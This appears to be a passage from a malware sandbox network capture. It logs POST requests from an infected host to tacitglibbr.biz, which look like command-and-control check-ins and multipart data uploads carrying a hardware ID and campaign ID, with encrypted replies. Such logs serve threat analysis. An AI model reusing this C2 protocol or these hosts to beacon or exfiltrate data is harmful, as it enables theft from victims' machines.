de e0 2c 0c d0 bc a8 61 84 Data Ascii: q^pXRugWqHQwe5B>{aT9N1xaI!Krnv-A +/Ly<{wjnZt[mRP g%K#u=7O\|a\|@4e0^`=#:h#L$MyNdQ,a
2024-12-16 14:05:07 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5mp6eoqs2kdc2tunjc6emsok7s; expires=Fri, 11-Apr-2025 07:51:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BMlO0Cj0Onb1MhFxL4dNyF3319z8lImUVFDrFtEHoWQEB0Qm0lu94OlxyXtcT6a%2BWrnu7qGJQAWLApkxFU81s54pD7fMfsL%2FYs%2F5PEP5ztJQriCmTWDjW%2F8wMqe6d8jKfEI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f39e76af34367-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2993&min_rtt=1630&rtt_var=1585&sent=294&recv=591&lost=0&retrans=0&sent_bytes=2839&recv_bytes=569329&delivery_rate=1791411&cwnd=237&unsent_bytes=0&cid=9987f6383c21cc9f&ts=3268&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	50268	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:09 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 14:05:09 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=CCE19D1764DF4D48AC8923850305D13E
2024-12-16 14:05:10 UTC	1018	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ftgb6makgavs4t1v2jlkhvth18; expires=Fri, 11-Apr-2025 07:51:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QgxmJIJethJ%2Fif675SmytpX7YH5%2F142Vqc7QZ7QUgOYRCYSeV6fg%2Beeg%2B%2BYM52mgI4RjZI6kgIDCsd5EJj9kUK%2BdAz0oucxIiqNe4CM3R5UGNqW9PYrxUHEcAcsUQDgtEmA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a051a0f0f99-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1485&min_rtt=1477&rtt_var=571&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=981&delivery_rate=1886304&cwnd=164&unsent_bytes=0&cid=24e9a623e37b4929&ts=1666&x=0"
2024-12-16 14:05:10 UTC	214	IN	Data Raw: 64 30 0d 0a 6a 73 4f 45 31 77 34 70 5a 62 64 52 77 31 7a 61 51 6d 5a 76 68 50 4f 4a 54 76 6f 65 52 4e 54 4e 63 7a 32 6c 78 74 69 49 62 2b 48 56 75 4b 61 69 4c 42 4e 48 33 79 57 33 4c 4f 41 65 53 54 4f 72 77 72 46 37 31 43 78 31 34 65 4e 43 44 4a 62 6f 36 62 34 7a 7a 75 47 6c 34 6f 73 68 54 51 44 52 66 36 59 6b 76 32 42 4b 54 65 4b 48 71 33 54 4b 4d 6d 61 78 37 30 6b 4e 32 4f 71 6a 71 68 72 44 74 4f 48 73 6f 33 70 5a 58 2b 74 2b 6e 33 50 72 65 6c 4e 42 74 73 4b 38 59 4d 73 76 64 2f 72 38 52 57 47 4b 74 61 7a 74 44 6f 7a 53 37 50 61 32 59 45 30 4b 32 6e 2b 6d 4a 4c 39 67 53 6b 33 69 68 36 74 30 79 6a 4a 6d 73 65 39 4a 44 64 69 62 0d 0a Data Ascii: d0jsOE1w4pZbdRw1zaQmZvhPOJTvoeRNTNcz2lxtiIb+HVuKaiLBNH3yW3LOAeSTOrwrF71Cx14eNCDJbo6b4zzuGl4oshTQDRf6Ykv2BKTeKHq3TKMmax70kN2OqjqhrDtOHso3pZX+t+n3PrelNBtsK8YMsvd/r8RWGKtaztDozS7Pa2YE0K2n+mJL9gSk3ih6t0yjJmse9JDdib
2024-12-16 14:05:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	50286	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:19 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: tacitglibbr.biz
2024-12-16 14:05:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-16 14:05:20 UTC	1012	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qogab8odma3aj1aklstfm7en4s; expires=Fri, 11-Apr-2025 07:51:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BNbD2Lfvf39KmlyVmlr5toMefZSeyF5OPy07MgiDuFKlCERFZiZLAk8MTLDzlL8NRTyOlf6varf9w1rzep69ivplr9Wryk95%2BppAqzzPGfzcOvgGQd%2BuMCdZngdMN6qMxaQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a441f810f83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1571&min_rtt=1571&rtt_var=590&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=906&delivery_rate=1855146&cwnd=230&unsent_bytes=0&cid=f862c27c0232d80c&ts=1006&x=0"
2024-12-16 14:05:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-16 14:05:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	50287	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: tacitglibbr.biz
2024-12-16 14:05:21 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-16 14:05:22 UTC	1019	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a4rnlpn23g28ur2ospcdr4j9v5; expires=Fri, 11-Apr-2025 07:52:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1od%2FiH6rKnLfm6C%2Br3jAyDzOaLiqQ9sLmh4NtXDQsYojbid6PrUXJOFNF2yNMaAWn1qVoCA1gpEFfYMjfEg40%2F73iFtsnmaklhALCGYqVX6KkhD%2B%2FXfDqAstyTIvrI7ByXM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a5319777d1a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=84465&min_rtt=1882&rtt_var=49576&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=946&delivery_rate=1551540&cwnd=179&unsent_bytes=0&cid=6bda4a1c63181095&ts=1138&x=0"
2024-12-16 14:05:22 UTC	350	IN	Data Raw: 31 64 31 38 0d 0a 54 43 2f 54 78 73 42 35 36 61 38 62 72 62 79 34 4d 62 71 61 2f 31 6f 6c 4d 4f 39 48 6d 57 39 4c 73 6a 4c 2f 4e 4a 58 50 36 6c 4d 33 44 61 58 6b 2b 6b 33 46 6a 57 6a 49 6e 6f 4a 46 79 4f 2b 61 64 67 64 52 69 32 57 6a 43 53 72 65 51 5a 6f 59 74 37 6d 48 63 58 5a 4a 73 71 71 7a 48 4d 57 4e 66 74 57 65 67 6d 72 42 75 4a 6f 30 42 77 72 4e 49 76 4d 4e 4b 74 35 51 6e 6c 2f 36 76 34 59 77 4a 45 4f 30 72 71 55 61 6a 63 35 33 77 4e 6e 64 56 4e 76 77 6b 54 4e 49 57 49 4a 6c 74 55 30 75 79 42 44 46 46 74 69 71 6e 6a 49 42 54 71 43 74 34 67 54 46 31 44 6e 49 30 70 6f 4c 6d 50 75 61 4f 45 6c 57 69 79 7a 78 42 79 50 57 55 5a 74 65 35 61 61 4d 4f 79 52 4e 74 36 2b 76 45 35 6e 44 66 63 66 53 32 31 37 62 75 4e 4e 34 51 45 72 4e 66 62 74 65 47 39 4e 42 6a Data Ascii: 1d18TC/TxsB56a8brby4Mbqa/1olMO9HmW9LsjL/NJXP6lM3DaXk+k3FjWjInoJFyO+adgdRi2WjCSreQZoYt7mHcXZJsqqzHMWNftWegmrBuJo0BwrNIvMNKt5Qnl/6v4YwJEO0rqUajc53wNndVNvwkTNIWIJltU0uyBDFFtiqnjIBTqCt4gTF1DnI0poLmPuaOElWiyzxByPWUZte5aaMOyRNt6+vE5nDfcfS217buNN4QErNfbteG9NBj
2024-12-16 14:05:22 UTC	1369	IN	Data Raw: 74 36 71 6a 46 6f 76 66 63 63 54 56 33 30 48 54 38 5a 41 31 52 31 2b 48 4b 76 67 4e 4c 74 70 61 6b 6c 7a 7a 6f 49 55 33 4c 6b 33 78 36 75 49 63 6b 34 30 68 6a 2f 33 66 51 39 2f 30 69 33 70 39 45 70 4a 72 34 6b 30 75 33 42 44 46 46 76 2b 6f 69 7a 49 6c 51 72 4b 73 71 51 6d 4c 33 33 2f 43 32 38 68 56 33 66 61 58 4f 31 56 59 67 79 50 34 42 43 4c 5a 56 5a 70 53 74 2b 50 49 4e 6a 59 4e 36 65 53 44 46 6f 44 42 63 39 6a 65 6d 6b 79 57 34 64 30 2f 53 78 4c 56 5a 66 38 4d 4c 64 46 55 6b 31 6a 7a 6f 59 34 2f 49 30 4b 33 72 71 49 63 67 63 56 78 7a 74 50 52 58 4e 6a 39 6b 44 78 42 58 6f 77 67 75 30 4e 70 31 30 6a 64 44 72 65 44 6a 7a 49 38 44 34 53 6e 72 42 57 4d 32 7a 6e 51 6b 4d 4d 54 33 2f 54 64 59 41 64 63 69 43 72 70 44 44 76 56 58 6f 39 61 38 71 75 46 4d 69 42 Data Ascii: t6qjFovfccTV30HT8ZA1R1+HKvgNLtpaklzzoIU3Lk3x6uIck40hj/3fQ9/0i3p9EpJr4k0u3BDFFv+oizIlQrKsqQmL33/C28hV3faXO1VYgyP4BCLZVZpSt+PINjYN6eSDFoDBc9jemkyW4d0/SxLVZf8MLdFUk1jzoY4/I0K3rqIcgcVxztPRXNj9kDxBXowgu0Np10jdDreDjzI8D4SnrBWM2znQkMMT3/TdYAdciCrpDDvVXo9a8quFMiB
2024-12-16 14:05:22 UTC	1369	IN	Data Raw: 42 57 4d 32 7a 6e 51 6b 4d 4d 54 33 2f 54 64 59 41 64 66 68 53 44 2b 41 69 6a 61 58 70 68 63 2b 36 57 47 4d 6a 78 43 74 61 53 75 45 34 48 41 64 38 76 57 30 31 6a 54 2f 70 30 35 54 52 4c 44 5a 66 77 56 61 59 67 51 71 56 48 37 6f 49 64 7a 47 30 36 2f 71 71 55 4e 79 39 49 33 31 70 37 64 58 35 69 67 33 54 52 4f 55 6f 59 76 2f 77 30 75 33 56 57 65 55 66 53 67 6a 7a 73 67 53 72 57 6f 71 78 61 4e 7a 58 37 4c 32 38 68 57 30 66 53 52 65 41 6b 53 69 6a 32 37 56 57 6e 2f 56 34 74 56 32 4b 36 5a 4f 47 35 53 2f 37 33 69 48 49 65 4e 49 59 2f 5a 33 31 76 54 2f 70 55 34 56 56 65 44 4c 76 6f 48 4c 39 46 64 6b 56 44 33 72 49 67 33 49 6b 32 32 6f 37 41 4a 6a 73 74 72 78 5a 36 55 45 39 2f 67 33 57 41 48 5a 4a 30 79 36 68 74 72 35 56 4f 54 57 50 43 37 79 43 35 67 56 50 47 6a Data Ascii: BWM2znQkMMT3/TdYAdfhSD+AijaXphc+6WGMjxCtaSuE4HAd8vW01jT/p05TRLDZfwVaYgQqVH7oIdzG06/qqUNy9I31p7dX5ig3TROUoYv/w0u3VWeUfSgjzsgSrWoqxaNzX7L28hW0fSReAkSij27VWn/V4tV2K6ZOG5S/73iHIeNIY/Z31vT/pU4VVeDLvoHL9FdkVD3rIg3Ik22o7AJjstrxZ6UE9/g3WAHZJ0y6htr5VOTWPC7yC5gVPGj
2024-12-16 14:05:22 UTC	1369	IN	Data Raw: 39 78 77 64 50 52 58 4e 50 71 6e 54 56 44 58 6f 6b 74 38 41 64 70 6e 68 43 61 54 72 66 31 79 41 51 6a 51 72 47 6e 74 46 75 55 67 32 43 50 32 64 59 54 67 4c 69 52 4e 6b 64 64 67 53 6e 77 42 53 6a 63 58 70 70 54 2f 71 57 41 49 79 39 4a 75 61 57 73 46 49 72 4a 66 4d 72 61 33 56 66 65 39 39 31 32 42 31 57 56 5a 61 4e 4e 42 76 64 6c 33 33 66 4e 37 5a 64 2f 4e 77 32 32 71 4f 4a 44 79 38 46 36 77 39 62 56 56 64 48 30 6c 7a 46 4d 58 6f 59 68 39 77 51 73 31 6c 47 59 55 2f 61 70 68 44 73 6f 54 72 4b 72 72 52 53 44 6a 54 65 50 32 63 49 54 67 4c 69 34 4c 30 78 63 69 32 58 6b 51 7a 43 51 56 35 45 57 72 2b 32 45 4f 43 68 4c 74 4b 69 6a 48 59 50 49 63 63 76 66 33 46 58 62 39 35 6b 39 52 6c 32 4a 4b 66 55 48 4b 4e 46 63 6c 6c 6e 38 71 4d 68 2f 62 6b 71 70 35 50 70 62 75 Data Ascii: 9xwdPRXNPqnTVDXokt8AdpnhCaTrf1yAQjQrGntFuUg2CP2dYTgLiRNkddgSnwBSjcXppT/qWAIy9JuaWsFIrJfMra3Vfe9912B1WVZaNNBvdl33fN7Zd/Nw22qOJDy8F6w9bVVdH0lzFMXoYh9wQs1lGYU/aphDsoTrKrrRSDjTeP2cITgLi4L0xci2XkQzCQV5EWr+2EOChLtKijHYPIccvf3FXb95k9Rl2JKfUHKNFclln8qMh/bkqp5Ppbu
2024-12-16 14:05:22 UTC	1369	IN	Data Raw: 62 30 56 7a 55 75 4e 4e 34 51 45 72 4e 66 62 73 6a 49 73 4e 48 6e 6c 6a 38 75 35 4e 78 4d 51 4f 6f 35 4b 55 58 79 35 55 35 7a 4e 58 52 56 39 6a 30 6e 54 78 4b 55 70 38 71 2f 41 6f 67 32 30 4b 58 55 66 43 6d 67 44 6f 68 53 36 4f 6f 72 41 6d 4f 33 32 75 50 6b 4a 70 55 77 4c 6a 46 65 48 46 56 6e 54 58 34 54 78 6a 47 55 34 74 64 2b 71 48 49 4c 6d 42 55 38 61 4f 75 57 39 4f 4e 66 38 44 58 32 56 7a 5a 38 5a 45 31 51 6c 75 49 4a 50 30 4a 49 39 70 51 6d 31 44 32 71 49 49 79 4c 30 65 34 6f 36 6f 63 69 4e 38 35 67 5a 37 64 53 35 69 67 33 52 46 41 51 49 4d 31 75 78 4a 6e 79 52 43 61 57 72 66 31 79 44 55 6b 51 72 57 6a 72 68 32 4f 79 33 54 4f 30 64 74 54 31 2f 79 57 4d 55 46 54 67 43 44 32 43 54 76 61 57 35 4a 61 2f 71 47 46 63 57 41 4e 74 72 7a 69 51 38 76 38 64 4d Data Ascii: b0VzUuNN4QErNfbsjIsNHnlj8u5NxMQOo5KUXy5U5zNXRV9j0nTxKUp8q/Aog20KXUfCmgDohS6OorAmO32uPkJpUwLjFeHFVnTX4TxjGU4td+qHILmBU8aOuW9ONf8DX2VzZ8ZE1QluIJP0JI9pQm1D2qIIyL0e4o6ociN85gZ7dS5ig3RFAQIM1uxJnyRCaWrf1yDUkQrWjrh2Oy3TO0dtT1/yWMUFTgCD2CTvaW5Ja/qGFcWANtrziQ8v8dM
2024-12-16 14:05:22 UTC	1369	IN	Data Raw: 79 76 4b 57 50 55 70 66 67 43 62 39 43 79 4c 63 51 70 52 57 39 4b 62 49 66 32 35 4b 71 65 54 36 57 36 6a 61 62 38 58 5a 31 6b 58 54 2b 5a 34 75 53 6b 4c 4e 61 37 73 63 4c 73 45 51 78 55 44 6e 75 6f 38 75 59 46 54 78 6f 36 35 62 30 34 31 2f 78 74 6a 64 56 64 62 71 6d 44 35 49 58 59 51 73 2f 77 55 71 30 46 53 5a 55 66 4b 75 68 44 6f 70 54 72 36 67 71 78 57 43 77 6a 6d 42 6e 74 31 4c 6d 4b 44 64 47 56 78 52 67 53 69 37 45 6d 66 4a 45 4a 70 61 74 2f 58 49 50 53 42 49 73 61 36 6b 48 34 37 4c 63 38 72 65 30 56 44 58 2f 4a 73 38 53 46 4b 47 4c 50 6f 4c 4c 4e 70 62 6d 31 76 30 71 34 35 78 59 41 32 32 76 4f 4a 44 79 2b 31 69 77 74 4c 64 45 38 65 32 68 48 68 41 58 73 31 39 75 77 59 6c 31 46 65 64 57 2f 53 6c 6a 54 55 6b 53 4c 47 73 73 42 4f 4c 79 6d 76 64 33 74 4e Data Ascii: yvKWPUpfgCb9CyLcQpRW9KbIf25KqeT6W6jab8XZ1kXT+Z4uSkLNa7scLsEQxUDnuo8uYFTxo65b041/xtjdVdbqmD5IXYQs/wUq0FSZUfKuhDopTr6gqxWCwjmBnt1LmKDdGVxRgSi7EmfJEJpat/XIPSBIsa6kH47Lc8re0VDX/Js8SFKGLPoLLNpbm1v0q45xYA22vOJDy+1iwtLdE8e2hHhAXs19uwYl1FedW/SljTUkSLGssBOLymvd3tN
2024-12-16 14:05:22 UTC	261	IN	Data Raw: 51 59 48 51 49 34 31 2b 41 49 34 37 68 44 46 54 38 6e 74 67 79 63 70 58 62 4b 79 71 52 61 48 33 45 65 50 68 6f 34 42 69 71 72 50 61 6c 67 53 6b 68 71 31 54 53 69 51 43 4b 52 50 74 37 76 49 61 58 77 44 38 62 62 69 51 38 75 4b 65 74 33 4d 33 46 44 4f 2b 39 6f 47 65 58 57 62 4c 2f 77 64 4c 73 64 66 33 52 69 33 6f 73 68 70 46 77 32 34 6f 37 6b 4b 6e 63 42 70 79 4a 37 6c 48 5a 6a 67 33 57 41 48 5a 34 34 72 39 51 6f 2f 77 52 32 36 51 50 32 71 6d 44 59 35 51 76 48 71 34 68 33 4c 6c 53 71 42 6e 74 35 43 6d 4b 44 4e 61 68 77 48 33 6e 4b 72 58 7a 61 65 53 64 31 41 74 2f 58 61 66 32 35 66 38 66 7a 69 58 49 6a 66 61 38 6e 64 7a 46 43 66 78 71 4d 66 58 56 2b 4c 4d 75 6f 7a 46 39 64 4b 6b 46 44 67 76 4d 51 6b 4c 55 4f 2f 6f 37 52 62 78 59 31 32 6a 34 62 6a 45 35 43 34 Data Ascii: QYHQI41+AI47hDFT8ntgycpXbKyqRaH3EePho4BiqrPalgSkhq1TSiQCKRPt7vIaXwD8bbiQ8uKet3M3FDO+9oGeXWbL/wdLsdf3Ri3oshpFw24o7kKncBpyJ7lHZjg3WAHZ44r9Qo/wR26QP2qmDY5QvHq4h3LlSqBnt5CmKDNahwH3nKrXzaeSd1At/Xaf25f8fziXIjfa8ndzFCfxqMfXV+LMuozF9dKkFDgvMQkLUO/o7RbxY12j4bjE5C4
2024-12-16 14:05:22 UTC	1369	IN	Data Raw: 32 63 30 34 0d 0a 53 73 31 39 75 7a 67 71 33 6c 36 61 51 4f 62 67 72 79 73 6a 53 36 61 31 34 6c 58 4c 79 7a 6d 58 6a 70 51 54 33 4f 6e 64 59 42 63 41 31 6e 43 6f 57 6e 6d 43 54 39 4e 50 74 37 76 49 61 58 77 44 38 62 62 69 51 38 75 4b 65 74 33 4d 33 46 44 4f 2b 39 6f 47 65 58 79 4b 49 2f 34 4b 4f 5a 4a 2b 6c 6b 4c 77 37 63 5a 78 49 51 33 70 6e 65 4a 54 79 2f 49 33 6a 38 61 61 43 35 6a 4e 6e 6a 5a 4a 56 5a 73 30 74 69 4d 75 31 6c 57 61 52 72 57 44 67 79 55 70 44 66 2f 6b 70 46 76 54 6e 54 65 50 32 73 73 54 67 4b 6a 50 59 78 49 42 32 6e 57 70 45 6d 66 4a 45 49 73 57 72 2f 2f 47 63 54 77 4e 36 65 54 6c 47 4a 6e 66 66 38 7a 49 32 52 54 6d 78 70 34 75 53 6c 32 47 4a 4d 55 7a 42 39 31 52 6e 6c 69 31 6e 4a 34 38 50 6b 36 30 6f 35 77 6c 68 63 70 74 79 4e 44 63 55 Data Ascii: 2c04Ss19uzgq3l6aQObgrysjS6a14lXLyzmXjpQT3OndYBcA1nCoWnmCT9NPt7vIaXwD8bbiQ8uKet3M3FDO+9oGeXyKI/4KOZJ+lkLw7cZxIQ3pneJTy/I3j8aaC5jNnjZJVZs0tiMu1lWaRrWDgyUpDf/kpFvTnTeP2ssTgKjPYxIB2nWpEmfJEIsWr//GcTwN6eTlGJnff8zI2RTmxp4uSl2GJMUzB91Rnli1nJ48Pk60o5wlhcptyNDcU
2024-12-16 14:05:22 UTC	1369	IN	Data Raw: 2b 42 77 72 66 61 37 73 4a 4f 4a 41 49 7a 51 53 73 2b 4e 74 6d 66 68 2b 75 36 72 74 62 6e 59 30 68 6e 5a 43 61 51 5a 69 67 33 58 39 45 51 4a 38 6a 2b 42 73 71 6c 32 36 6a 63 66 6d 71 69 53 63 2b 51 4c 32 46 6f 51 71 42 38 30 66 61 33 64 52 64 33 2b 36 4d 65 41 6b 53 67 6d 57 6a 4e 47 6d 59 45 4b 49 59 74 37 58 49 61 57 35 34 73 71 71 73 48 4a 33 63 4e 4f 6a 51 33 56 4c 4f 36 4a 41 30 5a 6c 47 63 4c 37 74 44 61 64 59 51 78 51 53 35 37 59 77 67 62 68 58 68 39 76 6c 4f 32 4a 6f 70 6e 63 47 55 53 70 6a 75 33 57 41 56 48 4d 30 33 75 31 56 70 6c 31 4f 50 52 50 47 75 6e 6a 4a 70 63 34 2b 42 74 52 69 62 79 33 72 78 34 50 46 66 33 76 2b 48 50 30 46 30 72 57 57 31 54 53 61 51 43 4b 51 57 76 2b 32 33 66 32 35 56 38 66 7a 69 4c 6f 6a 44 64 38 6a 49 79 78 37 39 37 35 Data Ascii: +Bwrfa7sJOJAIzQSs+Ntmfh+u6rtbnY0hnZCaQZig3X9EQJ8j+Bsql26jcfmqiSc+QL2FoQqB80fa3dRd3+6MeAkSgmWjNGmYEKIYt7XIaW54sqqsHJ3cNOjQ3VLO6JA0ZlGcL7tDadYQxQS57YwgbhXh9vlO2JopncGUSpju3WAVHM03u1Vpl1OPRPGunjJpc4+BtRiby3rx4PFf3v+HP0F0rWW1TSaQCKQWv+23f25V8fziLojDd8jIyx7975

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.6	50290	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:24 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VNA02MONGO0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12817 Host: tacitglibbr.biz
2024-12-16 14:05:24 UTC	12817	OUT	Data Raw: 2d 2d 56 4e 41 30 32 4d 4f 4e 47 4f 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 4e 41 30 32 4d 4f 4e 47 4f 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 4e 41 30 32 4d 4f 4e 47 4f 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 56 4e 41 30 32 4d 4f 4e 47 4f 30 0d 0a 43 6f 6e 74 Data Ascii: --VNA02MONGO0Content-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--VNA02MONGO0Content-Disposition: form-data; name="pid"2--VNA02MONGO0Content-Disposition: form-data; name="lid"PsFKDg--pablo--VNA02MONGO0Cont
2024-12-16 14:05:24 UTC	1016	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:05:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ouc2nv5tonhh5qjfjkc807jkc6; expires=Fri, 11-Apr-2025 07:52:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IzvId8JCkHjVp8FHtIumE9JRgHApvP5LhFQrMGmBUhg%2FCnFcXPX%2FcYLt%2FfKEHEUJFJP5yHl59rySvQvBScm2rTFKa%2FGjc18uMkDBfTCKgsLPKYiz1Z5BgBN1F8r4zCPtWkw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3a632f5532d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1814&min_rtt=1805&rtt_var=696&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2840&recv_bytes=13749&delivery_rate=1550716&cwnd=146&unsent_bytes=0&cid=f2ee053da1e0bb7c&ts=807&x=0"
2024-12-16 14:05:24 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 14:05:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.6	50293	104.21.50.161	443

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:05:26 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8APOUPC2HNMZ3CA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15087 Host: tacitglibbr.biz
